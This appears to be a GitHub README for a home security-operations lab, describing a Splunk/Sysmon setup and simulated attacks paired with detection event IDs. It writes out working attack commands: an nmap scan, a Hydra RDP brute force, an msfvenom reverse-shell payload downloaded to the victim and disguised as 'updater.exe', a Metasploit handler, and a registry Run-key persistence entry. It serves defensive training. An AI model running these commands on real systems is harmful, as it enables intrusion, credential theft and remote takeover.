layshatem5-bit/Home-SOC-Lab-1
GitHub: layshatem5-bit/Home-SOC-Lab-1
该项目搭建了一套基于 Splunk SIEM 的家庭安全运营实验室,通过模拟真实攻击场景来演练和验证安全事件的检测与分析能力。
Stars: 0 | Forks: 0
# 🛡️ 家庭 SOC 实验室 — Splunk SIEM 检测实验室
## 架构
```
┌─────────────────────────────────────────────────────────────────┐
│ VMware NAT Network │
│ 192.168.205.0/24 │
│ │
│ ┌──────────────┐ attack ┌───────────────────────┐ │
│ │ Kali Linux │ ─────────────► │ Windows 10 Pro x64 │ │
│ │ (Attacker) │ │ (Victim) │ │
│ │192.168.205.128│ │ 192.168.205.131 │ │
│ └──────────────┘ │ Sysmon + SUF installed│ │
│ └──────────┬────────────┘ │
│ │ logs (9997) │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Ubuntu Server │ │
│ │ Splunk Enterprise │ │
│ │ :8000 (Web UI) │ │
│ │ :9997 (Forwarder) │ │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
## 实验室要求
| 组件 | 规格 |
|---|---|
| **RAM** | 8–16 GB(推荐 16 GB) |
| **CPU** | Intel i5 / i7 或同等规格 |
| **存储** | 50 GB+ 可用空间 |
| **Hypervisor** | VMware Workstation / Player |
### 虚拟机
| 虚拟机 | 操作系统 | 角色 | IP |
|---|---|---|---|
| Attacker | Kali Linux | 攻击机 | 192.168.205.128 |
| Victim | Windows 10 Pro x64 | 目标机 | 192.168.205.131 |
| SIEM | Ubuntu Server | Splunk Enterprise | 动态 (NAT) |
## 设置摘要
### 在 Victim (Windows 10) 上
1. **安装 Sysmon** — 相当于“监控摄像头”,将详细的系统事件记录到 Windows 事件日志中
2. **配置 `inputs.conf`** — 告诉 Splunk Forwarder 要收集哪些内容:
```
# 路径: C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf
[WinEventLog://Microsoft-Windows-Sysmon/Operational]
index = sysmon
disabled = 0
```
3. **安装 Splunk Universal Forwarder** — 相当于“邮递员”,负责将日志发送到 Splunk 服务器
4. 通过 `Services.msc` (`Win+R`) 授予 Forwarder **管理员权限**
### 在 SIEM (Ubuntu) 上
1. 安装 **Splunk Enterprise**
2. 从 Apps 市场安装 **Splunk Add-on for Sysmon**
3. 在端口 `9997` 上启用接收功能
4. 使用 `index=sysmon` 进行搜索,以验证日志是否正在传入
## 攻击场景
### 1. 🔍 侦察 — 端口扫描
**工具:** `nmap`
```
nmap -sS -T4 -Pn --top-ports 1000 -sV 192.168.205.131
```
**参数解析:**
| 标志 | 含义 |
|---|---|
| `-sS` | SYN 隐蔽扫描(半开扫描,更难被检测) |
| `-T4` | 快速时间模板 |
| `-Pn` | 跳过 Ping(假设主机在线) |
| `--top-ports 1000` | 扫描最常见的 1000 个端口 |
| `-sV` | 检测服务版本 |
**发现结果:**
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
```
### 2. 🔑 暴力破解 — RDP (Hydra)
**工具:** `hydra`
```
hydra -L users.txt -P pass.txt rdp://192.168.205.131 -t 1 -W 1 -V -f
```
**找到凭证后 — RDP 访问:**
```
xfreerdp /v:192.168.205.131 /u:put-the-username-that-you-found-from-hydra /p:put-the-password-that-you-found-from-hydra /dynamic-resolution +clipboard
```
**Detection_1:** 查找 **Event ID 4625**(登录失败)(在 splunk 中搜索此项)
**Detection_2:** 查找 **Event ID 4624**(登录成功)的激增(在 splunk 中搜索此项)
### 3. 💀 反向 Shell — msfvenom + Metasploit
**第一步:在 Kali 上生成恶意软件**
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.205.128 LPORT=4444 -f exe > malware.exe
```
**第二步:通过 HTTP 提供服务**
```
python3 -m http.server 80
```
**第三步:通过 PowerShell 投递到受害者机器**
```
Invoke-WebRequest -Uri "http://192.168.205.128/malware.exe" -OutFile "C:\Users\laith\Desktop\updater.exe"
```
**第四步:使用 Metasploit 监听**
```
msfconsole
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.205.128
set LPORT 4444
exploit
```
然后我的 Kali Linux 上就会打开一个反向 shell!
**检测:** Event ID 5156 — WFP 允许在异常端口 (4444) 上的连接
### 4. 🔒 持久化 — 注册表 Run 键
在受害者机器上打开反向 shell 后,我们输入以下内容:
```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
/v "SecurityUpdate" /t REG_SZ /d "C:\Users\laith\Desktop\updater.exe" /f
```
**检测:** Event ID 13 (Sysmon) — 在 `Run` 键下设置了注册表值
## SPL 查询
有关所有检测查询,请参阅 SPL-Queries 文件夹:
## 遇到的挑战
| # | 挑战 | 解决方案 |
|---|---|---|
| 1 | VMware 网络配置 | 对所有虚拟机使用 NAT 模式 |
| 2 | Ubuntu 重启时 IP 不断变化 | 每次手动更新 Splunk Forwarder 配置和浏览器 URL | 或将 ubuntu 设置为静态 IP 地址
| 3 | Sysmon `inputs.conf` 不起作用 | 下载正确的 `inputs.conf`,将其放入 `Local` 文件夹中,并添加正确的 `[WinEventLog]` 节 |
| 4 | Splunk Forwarder 权限 | 通过 `services.msc` 将服务设置为以管理员身份运行 |
## 工具与技术
![Splunk]
![Kali Linux]
![Windows]
![VMware]
*作为个人 SOC 分析师学习之旅的一部分而构建。所有攻击均在隔离的实验室环境中进行。*
标签:CTI, 安全实验室, 安全运营, 扫描框架, 插件系统, 虚拟化